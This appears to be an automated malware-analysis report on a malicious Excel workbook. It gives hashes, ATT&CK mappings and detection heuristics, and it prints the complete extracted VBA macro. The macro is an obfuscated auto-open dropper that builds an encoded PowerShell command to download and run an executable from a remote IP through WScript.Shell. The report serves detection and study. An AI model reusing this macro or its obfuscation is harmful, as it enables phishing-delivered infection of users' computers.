Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1fdb984c456925bc…

MALICIOUS

Office (OOXML)

18.7 KB Created: 2021-08-05 05:04:02 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2026-06-05
MD5: 50ed6a1449b096f24199125df2a0364e SHA-1: c39f5897dbf139966a7ff924ba12a96979a545f9 SHA-256: 1fdb984c456925bce47c27a172c1988ff63527e40fac0ead0a0d305c81b05bff
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The OOXML document contains a Workbook_Open macro that utilizes WScript.Shell and CreateObject, indicating an attempt to execute arbitrary code. The obfuscated VBA script likely downloads and executes a second-stage payload, a common technique for malware delivery. The presence of these indicators strongly suggests a malicious intent, likely delivered via spearphishing.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    kykmxtkmrufksjnfn = "WSCript.shell"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set zgmcljnejmgbvhcspajzslcuswcarpvxjryrxxp = CreateObject(kykmxtkmrufksjnfn)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6945 bytes
SHA-256: 99ac2ae8be6ee275dbd1674c4a84017f6cfb8f76db92ec440c1c1bdf6b9db072
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AddTextBeforeSelection()
 Selection.InsertBefore Text:="new text "
End Sub
Private Sub workbook_open()
teo.mohz
iuyi = bfghfgfgh

End Sub
Sub InsertTextAtEndOfDocument()
 ActiveDocument.Content.InsertAfter Text:=" The end."
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "teo"
Sub SetParagraphRange()
    Dim docActive As Document
    Dim rngParagraphs As Range
    Set docActive = ActiveDocument
    Set rngParagraphs = docActive.Range(Start:=docActive.Paragraphs(2).Range.Start, _
        End:=docActive.Paragraphs(3).Range.End)
End Sub
Sub mohz()
srow = hff(213) & hff(191) & hff(214) & hff(146) & hff(161) & hff(213) & hff(146) & hff(226) & hff(225) & hff(208) & hff(201) & hff(208) & hff(215) & hff(196) & hff(229) & hff(208) & hff(186) & hff(183) & hff(208) & hff(190) & hff(222) & hff(146) & hff(159) & hff(183) & hff(146)
srow = srow & "WwBTAHkAcwB0AGUAbQAuAHQARQB4AFQALgBlAG4AQwBvAGQASQBOAGcAXQA6ADoAVQBuAGkAQwBPAGQAZQAuAEcARQBUAHMAdABSAEkAbgBnACgAWwBTAFkAcwBUAEUATQAuAGMATwBOAFYARQByAFQAXQA6ADoAZgBSAE8AbQBiAGEAcwBFADYANABzAFQAUgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcA"
srow = srow & "WQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcANABBAGUAUQBCAHQAQQBHAGsAQQBkAFEAQgBzAEEASABvAEEAZAB3AEIAMgBBAEMAQQBBAEsAQQBBAGcAQQBDAFEAQQBZAHcAQgBwAEEASABNAEEAYQBnAEIAdwBBAEcAdwBBAFkAdwBCADEAQQBIAFEAQQBhAEEAQgA0AEEAQwBBAEEATABBAEEAZwBBAEMAUQBBAFoAdwBCAGkAQQBHADgAQQBiAGcAQgB2AEEASABZAEEAWgBRAEIAMgBBAEgAUQBBAGMAZwBCAHoAQQBHAGsAQQBkAFEAQgBwAEEASABNAEEAZABRAEIAawBBAEMAQQBBAEsAUQBBAE4AQQBBAG8AQQBlAHcAQQBnAEEARQBrAEEAYgBRAEIAdwBBAEcAOABBAFUAZwBCADAAQQBDADAAQQBUAFEAQgBQAEEARQBRAEEAVgBRAEIATQBBAEcAVQBBAEkAQQBCAEMAQQBHAGsAQQBWAEEAQgBUAEEASABRAEEAYwBnAEIAQgBBAEcANABBAFUAdwBCAEcAQQBHAFUAQQBVAGcA"
srow = srow & "QQA3AEEAQQAwAEEAQwBnAEIAVABBAEgAUQBBAFEAUQBCAHkAQQBGAFEAQQBMAFEAQgBDAEEARQBrAEEAZABBAEIAVABBAEgAUQBBAFUAZwBCAEIAQQBFADQAQQBjAHcAQgBtAEEARwBVAEEAVQBnAEEAZwBBAEMAMABBAFUAdwBCAHYAQQBIAFUAQQBVAGcAQgBEAEEARQBVAEEASQBBAEEAawBBAEcATQBBAGEAUQBCAHoAQQBHAG8AQQBjAEEAQgBzAEEARwBNAEEAZABRAEIAMABBAEcAZwBBAGUAQQBBAGcAQQBDADAAQQBaAEEAQgBsAEEASABNAEEAZABBAEIAcABBAEcANABBAFkAUQBCADAAQQBHAGsAQQBUAHcAQgB1AEEAQwBBAEEASgBBAEIAbgBBAEcASQBBAGIAdwBCAHUAQQBHADgAQQBkAGcAQgBsAEEASABZAEEAZABBAEIAeQBBAEgATQBBAGEAUQBCADEAQQBHAGsAQQBjAHcAQgAxAEEARwBRAEEATwB3AEEAZwBBAEMAWQBBAEkAQQBBAGsAQQBHAGMAQQBZAGcAQgB2AEEARwA0AEEAYgB3AEIAMgBBAEcA"
srow = srow & "VQBBAGQAZwBCADAAQQBIAEkAQQBjAHcAQgBwAEEASABVAEEAYQBRAEIAegBBAEgAVQBBAFoAQQBBADcAQQBDAEEAQQBmAFEAQgAwAEEASABJAEEAZQBRAEIANwBBAEMAUQBBAFoAZwBCAHQAQQBHAEUAQQBiAEEAQgBuAEEASABBAEEAYgBRAEIAbgBBAEgAYwBBAGEAQQBCAG4AQQBIAEkAQQBjAFEAQgB3AEEARwB3AEEAZABRAEEAOQBBAEMAUQBBAFIAUQBCAHUAQQBGAFkAQQBPAGcAQgAwAEEARwBVAEEAVABRAEIAUQBBAEMAcwBBAEoAdwBCAGMAQQBHAE0AQQBjAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBiAGcAQgA1AEEARwAwAEEAYQBRAEIAMQBBAEcAdwBBAGUAZwBCADMAQQBIAFkAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAE8AZwBBAHYAQQBDADgAQQBOAEEAQQAyAEEAQwA0AEEATQBRAEEANABBAEQATQBBAEwAZwBBAHkAQQBEAEkAQQBNAHcA"
srow = srow & "QQB1AEEARABNAEEATgBBAEEAdgBBAEcAawBBAFkAdwBCADQAQQBIAE0AQQBjAHcAQgB6AEEARwBVAEEAYwBRAEIAeABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAWgBnAEIAdABBAEcARQBBAGIAQQBCAG4AQQBIAEEAQQBiAFEAQgBuAEEASABjAEEAYQBBAEIAbgBBAEgASQBBAGMAUQBCAHcAQQBHAHcAQQBkAFEAQQA3AEEAQQAwAEEAQwBnAEIAdQBBAEgAawBBAGIAUQBCAHAAQQBIAFUAQQBiAEEAQgA2AEEASABjAEEAZABnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQAWQBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQB1AEEARABJAEEATQBnAEEAegBBAEMANABBAE0AdwBBADAAQQBDADgAQQBhAFEAQgBqAEEASABnAEEAYwB3AEIAegBBAEgATQBBAFoAUQBCAHgAQQBIAEUAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMA"
srow = srow & "QQBBAEoAQQBCAG0AQQBHADAAQQBZAFEAQgBzAEEARwBjAEEAYwBBAEIAdABBAEcAYwBBAGQAdwBCAG8AQQBHAGMAQQBjAGcAQgB4AEEASABBAEEAYgBBAEIAMQBBAEQAcwBBAEQAUQBBAEsAQQBHADQAQQBlAFEAQgB0AEEARwBrAEEAZABRAEIAcwBBAEgAbwBBAGQAdwBCADIAQQBDAEEAQQBKAHcAQgBvAEEASABRAEEAZABBAEIAdwBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBOAGcAQQB1AEEARABFAEEATwBBAEEAegBBAEMANABBAE0AZwBBAHkAQQBEAE0AQQBMAGcAQQB6AEEARABRAEEATAB3AEIAcABBAEcATQBBAGUAQQBCAHoAQQBIAE0AQQBjAHcAQgBsAEEASABFAEEAYwBRAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBJAEEAQQBrAEEARwBZAEEAYgBRAEIAaABBAEcAdwBBAFoAdwBCAHcAQQBHADAAQQBaAHcAQgAzAEEARwBnAEEAWgB3AEIAeQBBAEgARQBBAGMAQQBCAHMAQQBIAFUAQQBPAHcA"
srow = srow & "QQBOAEEAQQBvAEEAZgBRAEIAagBBAEcARQBBAGQAQQBCAGoAQQBHAGcAQQBlAHcAQgA5AEEAQQA9AD0AIgApACkAfABpAEUAeAA="


On Error Resume Next
zkbohobouzejgpboidggxrnczc = srow
ybjprqpukytqsqsomiotjtthiksr (zkbohobouzejgpboidggxrnczc)
End Sub
Sub SetRangeForFirstTenCharacters()
    Dim rngTenCharacters As Range
    Set rngTenCharacters = ActiveDocument.Range(Start:=0, End:=10)
End Sub
Function ybjprqpukytqsqsomiotjtthiksr(oypeqjjnsrfrizaujhxrhefxkqdqhf As String)
gtnjgjefabpakcyvtlarsspdxziiy = 7 - 7
csdcsd = "asda sadsa sda"
kykmxtkmrufksjnfn = "WSCript.shell"
Set zgmcljnejmgbvhcspajzslcuswcarpvxjryrxxp = CreateObject(kykmxtkmrufksjnfn)
uzgtgntdhtijepxyxrmpeve = zgmcljnejmgbvhcspajzslcuswcarpvxjryrxxp.Run(oypeqjjnsrfrizaujhxrhefxkqdqhf, gtnjgjefabpakcyvtlarsspdxziiy)
End Function
Sub SetRangeForFirstThreeWords()
    Dim docActive As Document
    Dim rngThreeWords As Range
    Set docActive = ActiveDocument
    Set rngThreeWords = docActive.Range(Start:=docActive.Words(1).Start, _
        End:=docActive.Words(3).End)
End Sub
Function hff(bgfbg As Variant)
bcvv = "gfgdfs  vxcb 98"
hff = Chr(bgfbg - 114)
fgdsg = "vcxb xvcb sgd vcxb fsdg fgsdgdf"
End Function
Sub Macro1()
    With Selection.ParagraphFormat
        .LeftIndent = InchesToPoints(0)
        .RightIndent = InchesToPoints(0)
        .SpaceBefore = 6
        .SpaceAfter = 6
        .LineSpacingRule = 0
        .Alignment = wdAlignParagraphLeft
        .WidowControl = True
        .KeepWithNext = False
        .KeepTogether = False
        .PageBreakBefore = False
        .NoLineNumber = False
        .Hyphenation = True
        .FirstLineIndent = InchesToPoints(0)
        .OutlineLevel = 10
    End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 26112 bytes
SHA-256: e222b356bd2c8bf37dc24b28ba5ef53204cfe48c42576176aa6e48018273f7eb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.